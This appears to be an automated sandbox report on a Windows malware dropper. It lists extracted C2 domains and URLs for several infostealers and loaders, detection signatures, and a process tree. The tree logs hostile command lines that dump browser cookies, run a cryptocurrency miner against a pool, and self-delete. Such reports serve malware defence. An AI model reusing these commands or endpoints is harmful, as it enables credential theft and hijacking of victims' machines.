Analysis
- max time kernel
22s - max time network
162s - platform
windows10_x64 - resource
win10v20210408 - submitted
16/08/2021, 02:41
General
- Target 3AA3919AF2E858ED404C963BB19ED248.exe
- Size 8.6MB
- Sample210816-am9qdf5az2
- SHA256 b5f88e34db4bb65da8c21982590b67922fe32e62e7cfaae9fbe417a4262aa143
Malware Config
Extracted
-
redline
-
7new
-
sytareliar.xyz:80
-
yabelesatg.xyz:80
-
ceneimarck.xyz:80
Extracted
-
metasploit
-
windows/single_exec
Extracted
-
smokeloader
-
2020
-
http://aucmoney.com/upload/
-
http://thegymmum.com/upload/
-
http://atvcampingtrips.com/upload/
-
http://kuapakualaman.com/upload/
-
http://renatazarazua.com/upload/
-
http://nasufmutlu.com/upload/
Extracted
-
raccoon
-
7f2d7476ae0c3559a3dfab1f6e354e488b2429a1
-
url4cnc
https://t.me/gishsunsetman
Extracted
-
raccoon
-
93d3ccba4a3cbd5e268873fc1760b2335272e198
-
url4cnc
https://telete.in/opa4kiprivatem
Extracted
-
vidar
-
40
-
937
-
https://lenak513.tumblr.com/
-
profile_id
937
Signatures
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba Payload 2 IoCs
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Raccoon
Simple but powerful infostealer which was very active in 2019.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 4 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Socelars Payload 2 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
- suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- Vidar Stealer 2 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 18 IoCs
- UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- autoit_exe 2 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 19 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Kills process with taskkill 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 42 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\3AA3919AF2E858ED404C963BB19ED248.exe"C:\Users\Admin\AppData\Local\Temp\3AA3919AF2E858ED404C963BB19ED248.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files.exe"C:\Users\Admin\AppData\Local\Temp\Files.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\KRSetp.exe"C:\Users\Admin\AppData\Local\Temp\KRSetp.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\3317359.exe"C:\Users\Admin\AppData\Roaming\3317359.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\8167987.exe"C:\Users\Admin\AppData\Roaming\8167987.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Roaming\7025220.exe"C:\Users\Admin\AppData\Roaming\7025220.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\5882452.exe"C:\Users\Admin\AppData\Roaming\5882452.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Folder.exe"C:\Users\Admin\AppData\Local\Temp\Folder.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Folder.exe"C:\Users\Admin\AppData\Local\Temp\Folder.exe" -a3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Info.exe"C:\Users\Admin\AppData\Local\Temp\Info.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Installation.exe"C:\Users\Admin\AppData\Local\Temp\Installation.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\UYPGESYCpV87Yz5dctOkgo2X.exe"C:\Users\Admin\Documents\UYPGESYCpV87Yz5dctOkgo2X.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Test-Connection www.google.com4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Test-Connection www.google.com5⤵
-
-
-
-
C:\Users\Admin\Documents\S5nMQs7GVCfDgmgVKaVrfpNl.exe"C:\Users\Admin\Documents\S5nMQs7GVCfDgmgVKaVrfpNl.exe"3⤵
-
-
C:\Users\Admin\Documents\_Se5TZh97ym3VhJ5g4Aij0LD.exe"C:\Users\Admin\Documents\_Se5TZh97ym3VhJ5g4Aij0LD.exe"3⤵
-
-
C:\Users\Admin\Documents\mmQXw821c_qeYx72HOUlApdz.exe"C:\Users\Admin\Documents\mmQXw821c_qeYx72HOUlApdz.exe"3⤵
-
-
C:\Users\Admin\Documents\sDFfUlhh9s_uHPeS92K7r9F_.exe"C:\Users\Admin\Documents\sDFfUlhh9s_uHPeS92K7r9F_.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\SQLite Development Team\SQLite Reporter Tool\sqlite3drv.exe"C:\Users\Admin\AppData\Roaming\SQLite Development Team\SQLite Reporter Tool\sqlite3drv.exe"4⤵
-
C:\ProgramData\Data\Database.exe-pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password6665⤵
-
-
C:\ProgramData\Data\Database.exe-pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password6665⤵
-
-
C:\ProgramData\Data\install.exe"C:\ProgramData\Data\install.exe"5⤵
-
-
C:\ProgramData\Systemd\HostData.exeNULL5⤵
-
-
-
-
C:\Users\Admin\Documents\ecIm69scV9cNFL5WJ27813fV.exe"C:\Users\Admin\Documents\ecIm69scV9cNFL5WJ27813fV.exe"3⤵
-
-
C:\Users\Admin\Documents\MeqrRDzX_R7Na0gx8hvHxF7g.exe"C:\Users\Admin\Documents\MeqrRDzX_R7Na0gx8hvHxF7g.exe"3⤵
-
-
C:\Users\Admin\Documents\fbFNRjrBjaTHJ8cJhIATBTEc.exe"C:\Users\Admin\Documents\fbFNRjrBjaTHJ8cJhIATBTEc.exe"3⤵
-
-
C:\Users\Admin\Documents\Yu5sCHOFg3mGYaV6vLo3l2aM.exe"C:\Users\Admin\Documents\Yu5sCHOFg3mGYaV6vLo3l2aM.exe"3⤵
-
C:\Users\Admin\Documents\Yu5sCHOFg3mGYaV6vLo3l2aM.exe"C:\Users\Admin\Documents\Yu5sCHOFg3mGYaV6vLo3l2aM.exe"4⤵
-
-
-
C:\Users\Admin\Documents\O0T1dmjMTVXsaikvWZKbMNPc.exe"C:\Users\Admin\Documents\O0T1dmjMTVXsaikvWZKbMNPc.exe"3⤵
-
C:\Users\Admin\Documents\O0T1dmjMTVXsaikvWZKbMNPc.exe"C:\Users\Admin\Documents\O0T1dmjMTVXsaikvWZKbMNPc.exe"4⤵
-
-
-
C:\Users\Admin\Documents\G2pl8YCcq_wOtlzNoeXtyRjn.exe"C:\Users\Admin\Documents\G2pl8YCcq_wOtlzNoeXtyRjn.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\1555089.exe"C:\Users\Admin\AppData\Roaming\1555089.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\4905397.exe"C:\Users\Admin\AppData\Roaming\4905397.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\5742818.exe"C:\Users\Admin\AppData\Roaming\5742818.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\7889201.exe"C:\Users\Admin\AppData\Roaming\7889201.exe"4⤵
-
-
-
C:\Users\Admin\Documents\Dwpj64P8WjSDr256jxkfvU8A.exe"C:\Users\Admin\Documents\Dwpj64P8WjSDr256jxkfvU8A.exe"3⤵
-
-
C:\Users\Admin\Documents\87vrnVFsB3C2M9vA5GqdUwcl.exe"C:\Users\Admin\Documents\87vrnVFsB3C2M9vA5GqdUwcl.exe"3⤵
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"5⤵
-
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"4⤵
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
-
-
C:\Users\Admin\Documents\UQ2vGQ3Yz0wL6_lXgZHHEOE3.exe"C:\Users\Admin\Documents\UQ2vGQ3Yz0wL6_lXgZHHEOE3.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 7564⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 7804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 7684⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 8204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 9524⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 9804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 9964⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 14364⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 15004⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 14564⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 13884⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 16364⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\WNatQgdyPaVJs03YneEABZK7.exe"C:\Users\Admin\Documents\WNatQgdyPaVJs03YneEABZK7.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
-
C:\Users\Admin\Documents\kiTMx1XlrAQ0WJKNpbB5FnGK.exe"C:\Users\Admin\Documents\kiTMx1XlrAQ0WJKNpbB5FnGK.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 6644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 6804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 6924⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 6484⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 10884⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\oADn2tCEthnSLXIOYqjCwz6R.exe"C:\Users\Admin\Documents\oADn2tCEthnSLXIOYqjCwz6R.exe"3⤵
-
C:\Users\Admin\Documents\oADn2tCEthnSLXIOYqjCwz6R.exe"C:\Users\Admin\Documents\oADn2tCEthnSLXIOYqjCwz6R.exe"4⤵
-
-
-
C:\Users\Admin\Documents\jxb3kWHb2yBUrXK8HFdY_s_m.exe"C:\Users\Admin\Documents\jxb3kWHb2yBUrXK8HFdY_s_m.exe"3⤵
-
C:\Users\Admin\Documents\jxb3kWHb2yBUrXK8HFdY_s_m.exeC:\Users\Admin\Documents\jxb3kWHb2yBUrXK8HFdY_s_m.exe4⤵
-
-
C:\Users\Admin\Documents\jxb3kWHb2yBUrXK8HFdY_s_m.exeC:\Users\Admin\Documents\jxb3kWHb2yBUrXK8HFdY_s_m.exe4⤵
-
-
-
C:\Users\Admin\Documents\P1tCLUbtjUUuAyRnWjX94k4h.exe"C:\Users\Admin\Documents\P1tCLUbtjUUuAyRnWjX94k4h.exe"3⤵
-
C:\Users\Admin\Documents\P1tCLUbtjUUuAyRnWjX94k4h.exeC:\Users\Admin\Documents\P1tCLUbtjUUuAyRnWjX94k4h.exe4⤵
-
-
-
C:\Users\Admin\Documents\F2cMyIzz57ctYBtkd3w0Yj_s.exe"C:\Users\Admin\Documents\F2cMyIzz57ctYBtkd3w0Yj_s.exe"3⤵
-
C:\Users\Admin\Documents\F2cMyIzz57ctYBtkd3w0Yj_s.exeC:\Users\Admin\Documents\F2cMyIzz57ctYBtkd3w0Yj_s.exe4⤵
-
-
-
C:\Users\Admin\Documents\NIwLQp3HZkNWdgM_doJFVUZZ.exe"C:\Users\Admin\Documents\NIwLQp3HZkNWdgM_doJFVUZZ.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 2444⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\xMmFZGM6vuAAw647Y54dinGk.exe"C:\Users\Admin\Documents\xMmFZGM6vuAAw647Y54dinGk.exe"3⤵
-
-
C:\Users\Admin\Documents\YdoPlW63IMVr5PMOTOcvu6wH.exe"C:\Users\Admin\Documents\YdoPlW63IMVr5PMOTOcvu6wH.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsk9C72.tmp\tempfile.ps1"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsk9C72.tmp\tempfile.ps1"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsk9C72.tmp\tempfile.ps1"4⤵
-
-
-
C:\Users\Admin\Documents\yTZEHxK3cjdWBEvHaT2RtH0j.exe"C:\Users\Admin\Documents\yTZEHxK3cjdWBEvHaT2RtH0j.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MP6FU.tmp\yTZEHxK3cjdWBEvHaT2RtH0j.tmp"C:\Users\Admin\AppData\Local\Temp\is-MP6FU.tmp\yTZEHxK3cjdWBEvHaT2RtH0j.tmp" /SL5="$C005C,138429,56832,C:\Users\Admin\Documents\yTZEHxK3cjdWBEvHaT2RtH0j.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6BQJU.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-6BQJU.tmp\Setup.exe" /Verysilent5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"7⤵
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"6⤵
-
-
C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\note8876.exe"C:\Users\Admin\AppData\Local\Temp\note8876.exe" end7⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\pub2.exe"C:\Users\Admin\AppData\Local\Temp\pub2.exe"2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\AppData\Local\Temp\mysetold.exe"C:\Users\Admin\AppData\Local\Temp\mysetold.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Public\run.exeC:\Users\Public\run.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\run.exe"4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK5⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Public\run2.exeC:\Users\Public\run2.exe3⤵
-
C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Complete.exe"C:\Users\Admin\AppData\Local\Temp\Complete.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\nUEA6AM5er9kth56AZawVgL9.exe"C:\Users\Admin\Documents\nUEA6AM5er9kth56AZawVgL9.exe"3⤵
-
-
C:\Users\Admin\Documents\1OUm4F2iCTlplH5u36kgGH3x.exe"C:\Users\Admin\Documents\1OUm4F2iCTlplH5u36kgGH3x.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
-
C:\Users\Admin\Documents\gSexL_oQY13aq9sznMA9GU_O.exe"C:\Users\Admin\Documents\gSexL_oQY13aq9sznMA9GU_O.exe"3⤵
-
C:\Users\Admin\Documents\gSexL_oQY13aq9sznMA9GU_O.exeC:\Users\Admin\Documents\gSexL_oQY13aq9sznMA9GU_O.exe4⤵
-
-
-
C:\Users\Admin\Documents\0BV0aCmHaZSefeIg4anfr6Ok.exe"C:\Users\Admin\Documents\0BV0aCmHaZSefeIg4anfr6Ok.exe"3⤵
-
-
C:\Users\Admin\Documents\5f209Mu2soFkqkGkXjcKTwy1.exe"C:\Users\Admin\Documents\5f209Mu2soFkqkGkXjcKTwy1.exe"3⤵
-
-
C:\Users\Admin\Documents\vNgOO8SDBDPUEMcgefiFxmrF.exe"C:\Users\Admin\Documents\vNgOO8SDBDPUEMcgefiFxmrF.exe"3⤵
-
-
C:\Users\Admin\Documents\Isw75Je9JO4SLxq7EgYp48_I.exe"C:\Users\Admin\Documents\Isw75Je9JO4SLxq7EgYp48_I.exe"3⤵
-
-
C:\Users\Admin\Documents\eG_Ie2WuwwM3vqBqrdIUbcjS.exe"C:\Users\Admin\Documents\eG_Ie2WuwwM3vqBqrdIUbcjS.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\7492410.exe"C:\Users\Admin\AppData\Roaming\7492410.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\4290833.exe"C:\Users\Admin\AppData\Roaming\4290833.exe"4⤵
-
-
-
C:\Users\Admin\Documents\5gS1Ml6NGuSyFnEaYiQeLPcY.exe"C:\Users\Admin\Documents\5gS1Ml6NGuSyFnEaYiQeLPcY.exe"3⤵
-
C:\Users\Admin\Documents\5gS1Ml6NGuSyFnEaYiQeLPcY.exeC:\Users\Admin\Documents\5gS1Ml6NGuSyFnEaYiQeLPcY.exe4⤵
-
-
-
C:\Users\Admin\Documents\7ZodhXW1mGpSzLKIxRI44TD0.exe"C:\Users\Admin\Documents\7ZodhXW1mGpSzLKIxRI44TD0.exe"3⤵
-
-
C:\Users\Admin\Documents\82bREoo8mhhWqm1uwYbm4F5c.exe"C:\Users\Admin\Documents\82bREoo8mhhWqm1uwYbm4F5c.exe"3⤵
-
-
C:\Users\Admin\Documents\j5o4NfMHcE1TZSeFpFMCcgbd.exe"C:\Users\Admin\Documents\j5o4NfMHcE1TZSeFpFMCcgbd.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\SQLite Development Team\SQLite Reporter Tool\sqlite3drv.exe"C:\Users\Admin\AppData\Roaming\SQLite Development Team\SQLite Reporter Tool\sqlite3drv.exe"4⤵
-
-
-
